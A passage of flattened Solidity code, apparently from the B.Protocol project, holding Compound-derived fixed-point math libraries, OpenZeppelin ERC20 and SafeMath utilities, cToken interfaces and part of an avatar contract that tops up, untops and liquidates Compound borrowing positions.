* @dev Subtracts two numbers, returns an error on overflow (i.e. if subtrahend is greater than minuend).
*/
function subUInt(uint a, uint b) internal pure returns (MathError, uint) {
if (b <= a) {
return (MathError.NO_ERROR, a - b);
} else {
return (MathError.INTEGER_UNDERFLOW, 0);
}
}
/**
* @dev Adds two numbers, returns an error on overflow.
*/
function addUInt(uint a, uint b) internal pure returns (MathError, uint) {
uint c = a + b;
if (c >= a) {
return (MathError.NO_ERROR, c);
} else {
return (MathError.INTEGER_OVERFLOW, 0);
}
}
/**
* @dev add a and b and then subtract c
*/
function addThenSubUInt(uint a, uint b, uint c) internal pure returns (MathError, uint) {
(MathError err0, uint sum) = addUInt(a, b);
if (err0 != MathError.NO_ERROR) {
return (err0, 0);
}
return subUInt(sum, c);
}
}
// File: contracts/bprotocol/lib/Exponential.sol
pragma solidity 0.5.16;
/**
* @title Exponential module for storing fixed-precision decimals
* @author Compound
* @notice Exp is a struct which stores decimals with a fixed precision of 18 decimal places.
* Thus, if we wanted to store the 5.1, mantissa would store 5.1e18. That is:
* `Exp({mantissa: 5100000000000000000})`.
*/
contract Exponential is CarefulMath {
uint constant expScale = 1e18;
uint constant doubleScale = 1e36;
uint constant halfExpScale = expScale/2;
uint constant mantissaOne = expScale;
struct Exp {
uint mantissa;
}
struct Double {
uint mantissa;
}
/**
* @dev Creates an exponential from numerator and denominator values.
* Note: Returns an error if (`num` * 10e18) > MAX_INT,
* or if `denom` is zero.
*/
function getExp(uint num, uint denom) pure internal returns (MathError, Exp memory) {
(MathError err0, uint scaledNumerator) = mulUInt(num, expScale);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
(MathError err1, uint rational) = divUInt(scaledNumerator, denom);
if (err1 != MathError.NO_ERROR) {
return (err1, Exp({mantissa: 0}));
}
return (MathError.NO_ERROR, Exp({mantissa: rational}));
}
/**
* @dev Multiply an Exp by a scalar, returning a new Exp.
*/
function mulScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) {
(MathError err0, uint scaledMantissa) = mulUInt(a.mantissa, scalar);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return (MathError.NO_ERROR, Exp({mantissa: scaledMantissa}));
}
/**
* @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer.
*/
function mulScalarTruncate(Exp memory a, uint scalar) pure internal returns (MathError, uint) {
(MathError err, Exp memory product) = mulScalar(a, scalar);
if (err != MathError.NO_ERROR) {
return (err, 0);
}
return (MathError.NO_ERROR, truncate(product));
}
/**
* @dev Divide a scalar by an Exp, returning a new Exp.
*/
function divScalarByExp(uint scalar, Exp memory divisor) pure internal returns (MathError, Exp memory) {
/*
We are doing this as:
getExp(mulUInt(expScale, scalar), divisor.mantissa)
How it works:
Exp = a / b;
Scalar = s;
`s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale`
*/
(MathError err0, uint numerator) = mulUInt(expScale, scalar);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return getExp(numerator, divisor.mantissa);
}
/**
* @dev Multiplies two exponentials, returning a new exponential.
*/
function mulExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {
(MathError err0, uint doubleScaledProduct) = mulUInt(a.mantissa, b.mantissa);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
// We add half the scale before dividing so that we get rounding instead of truncation.
// See "Listing 6" and text above it at https://accu.org/index.php/journals/1717
// Without this change, a result like 6.6...e-19 will be truncated to 0 instead of being rounded to 1e-18.
(MathError err1, uint doubleScaledProductWithHalfScale) = addUInt(halfExpScale, doubleScaledProduct);
if (err1 != MathError.NO_ERROR) {
return (err1, Exp({mantissa: 0}));
}
(MathError err2, uint product) = divUInt(doubleScaledProductWithHalfScale, expScale);
// The only error `div` can return is MathError.DIVISION_BY_ZERO but we control `expScale` and it is not zero.
assert(err2 == MathError.NO_ERROR);
return (MathError.NO_ERROR, Exp({mantissa: product}));
}
/**
* @dev Multiplies two exponentials given their mantissas, returning a new exponential.
*/
function mulExp(uint a, uint b) pure internal returns (MathError, Exp memory) {
return mulExp(Exp({mantissa: a}), Exp({mantissa: b}));
}
/**
* @dev Divides two exponentials, returning a new exponential.
* (a/scale) / (b/scale) = (a/scale) * (scale/b) = a/b,
* which we can scale as an Exp by calling getExp(a.mantissa, b.mantissa)
*/
function divExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {
return getExp(a.mantissa, b.mantissa);
}
/**
* @dev Truncates the given exp to a whole number value.
* For example, truncate(Exp{mantissa: 15 * expScale}) = 15
*/
function truncate(Exp memory exp) pure internal returns (uint) {
// Note: We are not using careful math here as we're performing a division that cannot fail
return exp.mantissa / expScale;
}
function safe224(uint n, string memory errorMessage) pure internal returns (uint224) {
require(n < 2**224, errorMessage);
return uint224(n);
}
function add_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: add_(a.mantissa, b.mantissa)});
}
function add_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: add_(a.mantissa, b.mantissa)});
}
function add_(uint a, uint b) pure internal returns (uint) {
return add_(a, b, "addition overflow");
}
function add_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
uint c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: sub_(a.mantissa, b.mantissa)});
}
function sub_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: sub_(a.mantissa, b.mantissa)});
}
function sub_(uint a, uint b) pure internal returns (uint) {
return sub_(a, b, "subtraction underflow");
}
function sub_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
require(b <= a, errorMessage);
return a - b;
}
function mul_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: mul_(a.mantissa, b.mantissa) / expScale});
}
function mul_(Exp memory a, uint b) pure internal returns (Exp memory) {
return Exp({mantissa: mul_(a.mantissa, b)});
}
function mul_(uint a, Exp memory b) pure internal returns (uint) {
return mul_(a, b.mantissa) / expScale;
}
function mul_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: mul_(a.mantissa, b.mantissa) / doubleScale});
}
function mul_(Double memory a, uint b) pure internal returns (Double memory) {
return Double({mantissa: mul_(a.mantissa, b)});
}
function mul_(uint a, Double memory b) pure internal returns (uint) {
return mul_(a, b.mantissa) / doubleScale;
}
function mul_(uint a, uint b) pure internal returns (uint) {
return mul_(a, b, "multiplication overflow");
}
function mul_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
if (a == 0 || b == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, errorMessage);
return c;
}
function div_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: div_(mul_(a.mantissa, expScale), b.mantissa)});
}
function div_(Exp memory a, uint b) pure internal returns (Exp memory) {
return Exp({mantissa: div_(a.mantissa, b)});
}
function div_(uint a, Exp memory b) pure internal returns (uint) {
return div_(mul_(a, expScale), b.mantissa);
}
function div_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: div_(mul_(a.mantissa, doubleScale), b.mantissa)});
}
function div_(Double memory a, uint b) pure internal returns (Double memory) {
return Double({mantissa: div_(a.mantissa, b)});
}
function div_(uint a, Double memory b) pure internal returns (uint) {
return div_(mul_(a, doubleScale), b.mantissa);
}
function div_(uint a, uint b) pure internal returns (uint) {
return div_(a, b, "divide by zero");
}
function div_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
require(b > 0, errorMessage);
return a / b;
}
function fraction(uint a, uint b) pure internal returns (Double memory) {
return Double({mantissa: div_(mul_(a, doubleScale), b)});
}
// New functions added by BProtocol
// =================================
function mulTrucate(uint a, uint b) internal pure returns (uint) {
return mul_(a, b) / expScale;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.5.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.5.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/bprotocol/interfaces/CTokenInterfaces.sol
pragma solidity 0.5.16;
contract CTokenInterface {
/* ERC20 */
function transfer(address dst, uint amount) external returns (bool);
function transferFrom(address src, address dst, uint amount) external returns (bool);
function approve(address spender, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function totalSupply() external view returns (uint256);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
/* User Interface */
function isCToken() external view returns (bool);
function underlying() external view returns (IERC20);
function balanceOfUnderlying(address owner) external returns (uint);
function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint);
function borrowRatePerBlock() external view returns (uint);
function supplyRatePerBlock() external view returns (uint);
function totalBorrowsCurrent() external returns (uint);
function borrowBalanceCurrent(address account) external returns (uint);
function borrowBalanceStored(address account) public view returns (uint);
function exchangeRateCurrent() public returns (uint);
function exchangeRateStored() public view returns (uint);
function getCash() external view returns (uint);
function accrueInterest() public returns (uint);
function seize(address liquidator, address borrower, uint seizeTokens) external returns (uint);
}
contract ICToken is CTokenInterface {
/* User Interface */
function redeem(uint redeemTokens) external returns (uint);
function redeemUnderlying(uint redeemAmount) external returns (uint);
function borrow(uint borrowAmount) external returns (uint);
}
// Workaround for issue https://github.com/ethereum/solidity/issues/526
// Defined separate contract as `mint()` override with `.value()` has issues
contract ICErc20 is ICToken {
function mint(uint mintAmount) external returns (uint);
function repayBorrow(uint repayAmount) external returns (uint);
function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint);
function liquidateBorrow(address borrower, uint repayAmount, address cTokenCollateral) external returns (uint);
}
contract ICEther is ICToken {
function mint() external payable;
function repayBorrow() external payable;
function repayBorrowBehalf(address borrower) external payable;
function liquidateBorrow(address borrower, address cTokenCollateral) external payable;
}
contract IPriceOracle {
/**
* @notice Get the underlying price of a cToken asset
* @param cToken The cToken to get the underlying price of
* @return The underlying asset price mantissa (scaled by 1e18).
* Zero means the price is unavailable.
*/
function getUnderlyingPrice(CTokenInterface cToken) external view returns (uint);
}
// File: contracts/bprotocol/avatar/AbsAvatarBase.sol
pragma solidity 0.5.16;
contract AbsAvatarBase is Exponential {
using SafeERC20 for IERC20;
IRegistry public registry;
bool public quit;
/* Storage for topup details */
// Topped up cToken
ICToken public toppedUpCToken;
// Topped up amount of tokens
uint256 public toppedUpAmount;
// Remaining max amount available for liquidation
uint256 public remainingLiquidationAmount;
// Liquidation cToken
ICToken public liquidationCToken;
modifier onlyAvatarOwner() {
_allowOnlyAvatarOwner();
_;
}
function _allowOnlyAvatarOwner() internal view {
require(msg.sender == registry.ownerOf(address(this)), "sender-not-owner");
}
modifier onlyPool() {
_allowOnlyPool();
_;
}
function _allowOnlyPool() internal view {
require(msg.sender == pool(), "only-pool-authorized");
}
modifier onlyBComptroller() {
_allowOnlyBComptroller();
_;
}
function _allowOnlyBComptroller() internal view {
require(msg.sender == registry.bComptroller(), "only-BComptroller-authorized");
}
modifier postPoolOp(bool debtIncrease) {
_;
_reevaluate(debtIncrease);
}
function _initAvatarBase(address _registry) internal {
require(registry == IRegistry(0x0), "avatar-already-init");
registry = IRegistry(_registry);
}
/**
* @dev Hard check to ensure untop is allowed and then reset remaining liquidation amount
*/
function _hardReevaluate() internal {
// Check: must allowed untop
require(canUntop(), "cannot-untop");
// Reset it to force re-calculation
remainingLiquidationAmount = 0;
}
/**
* @dev Soft check and reset remaining liquidation amount
*/
function _softReevaluate() private {
if(isPartiallyLiquidated()) {
_hardReevaluate();
}
}
function _reevaluate(bool debtIncrease) private {
if(debtIncrease) {
_hardReevaluate();
} else {
_softReevaluate();
}
}
function _isCEther(ICToken cToken) internal view returns (bool) {
return address(cToken) == registry.cEther();
}
function _score() internal view returns (IScore) {
return IScore(registry.score());
}
function toInt256(uint256 value) internal pure returns (int256) {
int256 result = int256(value);
require(result >= 0, "conversion-fail");
return result;
}
function isPartiallyLiquidated() public view returns (bool) {
return remainingLiquidationAmount > 0;
}
function isToppedUp() public view returns (bool) {
return toppedUpAmount > 0;
}
/**
* @dev Checks if this Avatar can untop the amount.
* @return `true` if allowed to borrow, `false` otherwise.
*/
function canUntop() public returns (bool) {
// When not topped up, just return true
if(!isToppedUp()) return true;
IComptroller comptroller = IComptroller(registry.comptroller());
bool result = comptroller.borrowAllowed(address(toppedUpCToken), address(this), toppedUpAmount) == 0;
return result;
}
function pool() public view returns (address payable) {
return address(uint160(registry.pool()));
}
/**
* @dev Returns the status if this Avatar's debt can be liquidated
* @return `true` when this Avatar can be liquidated, `false` otherwise
*/
function canLiquidate() public returns (bool) {
bool result = isToppedUp() && (remainingLiquidationAmount > 0) || (!canUntop());
return result;
}
// function reduce contract size
function _ensureUserNotQuitB() internal view {
require(! quit, "user-quit-B");
}
/**
* @dev Topup this avatar by repaying borrowings with ETH
*/
function topup() external payable onlyPool {
_ensureUserNotQuitB();
address cEtherAddr = registry.cEther();
// when already topped
bool _isToppedUp = isToppedUp();
if(_isToppedUp) {
require(address(toppedUpCToken) == cEtherAddr, "already-topped-other-cToken");
}
// 2. Repay borrows from Pool to topup
ICEther cEther = ICEther(cEtherAddr);
cEther.repayBorrow.value(msg.value)();
// 3. Store Topped-up details
if(! _isToppedUp) toppedUpCToken = cEther;
toppedUpAmount = add_(toppedUpAmount, msg.value);
}
/**
* @dev Topup the borrowed position of this Avatar by repaying borrows from the pool
* @notice Only Pool contract allowed to call the topup.
* @param cToken CToken address to use to RepayBorrows
* @param topupAmount Amount of tokens to Topup
*/
function topup(ICErc20 cToken, uint256 topupAmount) external onlyPool {
_ensureUserNotQuitB();
// when already topped
bool _isToppedUp = isToppedUp();
if(_isToppedUp) {
require(toppedUpCToken == cToken, "already-topped-other-cToken");
}
// 1. Transfer funds from the Pool contract
IERC20 underlying = cToken.underlying();
underlying.safeTransferFrom(pool(), address(this), topupAmount);
underlying.safeApprove(address(cToken), topupAmount);
// 2. Repay borrows from Pool to topup
require(cToken.repayBorrow(topupAmount) == 0, "RepayBorrow-fail");
// 3. Store Topped-up details
if(! _isToppedUp) toppedUpCToken = cToken;
toppedUpAmount = add_(toppedUpAmount, topupAmount);
}
function untop(uint amount) external onlyPool {
_untop(amount, amount);
}
/**
* @dev Untop the borrowed position of this Avatar by borrowing from Compound and transferring
* it to the pool.
* @notice Only Pool contract allowed to call the untop.
*/
function _untop(uint amount, uint amountToBorrow) internal {
// when already untopped
if(!isToppedUp()) return;
// 1. Udpdate storage for toppedUp details
require(toppedUpAmount >= amount, "amount>=toppedUpAmount");
toppedUpAmount = sub_(toppedUpAmount, amount);
if((toppedUpAmount == 0) && (remainingLiquidationAmount > 0)) remainingLiquidationAmount = 0;
// 2. Borrow from Compound and send tokens to Pool
if(amountToBorrow > 0 )
require(toppedUpCToken.borrow(amountToBorrow) == 0, "borrow-fail");
if(address(toppedUpCToken) == registry.cEther()) {
// 3. Send borrowed ETH to Pool contract
// Sending ETH to Pool using `.send()` to avoid DoS attack
bool success = pool().send(amount);
success; // shh: Not checking return value to avoid DoS attack
} else {
// 3. Transfer borrowed amount to Pool contract
IERC20 underlying = toppedUpCToken.underlying();
underlying.safeTransfer(pool(), amount);
}
}
function _untop() internal {
// when already untopped
if(!isToppedUp()) return;
_untop(toppedUpAmount, toppedUpAmount);
}
function _untopBeforeRepay(ICToken cToken, uint256 repayAmount) internal returns (uint256 amtToRepayOnCompound) {
if(toppedUpAmount > 0 && cToken == toppedUpCToken) {
// consume debt from cushion first
uint256 amtToUntopFromB = repayAmount >= toppedUpAmount ? toppedUpAmount : repayAmount;
_untop(toppedUpAmount, sub_(toppedUpAmount, amtToUntopFromB));
amtToRepayOnCompound = sub_(repayAmount, amtToUntopFromB);
} else {
amtToRepayOnCompound = repayAmount;
}
}
function _doLiquidateBorrow(
ICToken debtCToken,
uint256 underlyingAmtToLiquidate,
uint256 amtToDeductFromTopup,
ICToken collCToken
)
internal
onlyPool
returns (uint256)
{
address payable poolContract = pool();
// 1. Is toppedUp OR partially liquidated
bool partiallyLiquidated = isPartiallyLiquidated();
require(isToppedUp() || partiallyLiquidated, "cant-perform-liquidateBorrow");
if(partiallyLiquidated) {
require(debtCToken == liquidationCToken, "debtCToken!=liquidationCToken");
} else {
require(debtCToken == toppedUpCToken, "debtCToken!=toppedUpCToken");
liquidationCToken = debtCToken;
}
if(!partiallyLiquidated) {
remainingLiquidationAmount = getMaxLiquidationAmount(debtCToken);
}
// 2. `underlayingAmtToLiquidate` is under limit
require(underlyingAmtToLiquidate <= remainingLiquidationAmount, "amountToLiquidate-too-big");
// 3. Liquidator perform repayBorrow
require(underlyingAmtToLiquidate >= amtToDeductFromTopup, "amtToDeductFromTopup>underlyingAmtToLiquidate");
uint256 amtToRepayOnCompound = sub_(underlyingAmtToLiquidate, amtToDeductFromTopup);
if(amtToRepayOnCompound > 0) {
bool isCEtherDebt = _isCEther(debtCToken);
if(isCEtherDebt) {
// CEther
require(msg.value == amtToRepayOnCompound, "insuffecient-ETH-sent");
ICEther cEther = ICEther(registry.cEther());
cEther.repayBorrow.value(amtToRepayOnCompound)();
} else {
// CErc20
// take tokens from pool contract
IERC20 underlying = toppedUpCToken.underlying();
underlying.safeTransferFrom(poolContract, address(this), amtToRepayOnCompound);
underlying.safeApprove(address(debtCToken), amtToRepayOnCompound);
require(ICErc20(address(debtCToken)).repayBorrow(amtToRepayOnCompound) == 0, "repayBorrow-fail");
}
}
require(toppedUpAmount >= amtToDeductFromTopup, "amtToDeductFromTopup>toppedUpAmount");
toppedUpAmount = sub_(toppedUpAmount, amtToDeductFromTopup);
// 4.1 Update remaining liquidation amount
remainingLiquidationAmount = sub_(remainingLiquidationAmount, underlyingAmtToLiquidate);
// 5. Calculate premium and transfer to Liquidator
IComptroller comptroller = IComptroller(registry.comptroller());
(uint err, uint seizeTokens) = comptroller.liquidateCalculateSeizeTokens(
address(debtCToken),
address(collCToken),
underlyingAmtToLiquidate
);
require(err == 0, "err-liquidateCalculateSeizeTokens");
// 6. Transfer permiumAmount to liquidator
require(collCToken.transfer(poolContract, seizeTokens), "collCToken-xfr-fail");
return seizeTokens;
}
function getMaxLiquidationAmount(ICToken debtCToken) public returns (uint256) {
if(isPartiallyLiquidated()) return remainingLiquidationAmount;
uint256 avatarDebt = debtCToken.borrowBalanceCurrent(address(this));
// `toppedUpAmount` is also called poolDebt;
uint256 totalDebt = add_(avatarDebt, toppedUpAmount);
// When First time liquidation is performed after topup
// maxLiquidationAmount = closeFactorMantissa * totalDedt / 1e18;
IComptroller comptroller = IComptroller(registry.comptroller());
return mulTrucate(comptroller.closeFactorMantissa(), totalDebt);
}
function splitAmountToLiquidate(
uint256 underlyingAmtToLiquidate,
uint256 maxLiquidationAmount
)
public view returns (uint256 amtToDeductFromTopup, uint256 amtToRepayOnCompound)
{
// underlyingAmtToLiqScalar = underlyingAmtToLiquidate * 1e18
(MathError mErr, Exp memory result) = mulScalar(Exp({mantissa: underlyingAmtToLiquidate}), expScale);
require(mErr == MathError.NO_ERROR, "underlyingAmtToLiqScalar-fail");
uint underlyingAmtToLiqScalar = result.mantissa;
// percent = underlyingAmtToLiqScalar / maxLiquidationAmount
uint256 percentInScale = div_(underlyingAmtToLiqScalar, maxLiquidationAmount);
// amtToDeductFromTopup = toppedUpAmount * percentInScale / 1e18
amtToDeductFromTopup = mulTrucate(toppedUpAmount, percentInScale);
// amtToRepayOnCompound = underlyingAmtToLiquidate - amtToDeductFromTopup
amtToRepayOnCompound = sub_(underlyingAmtToLiquidate, amtToDeductFromTopup);
}
/**
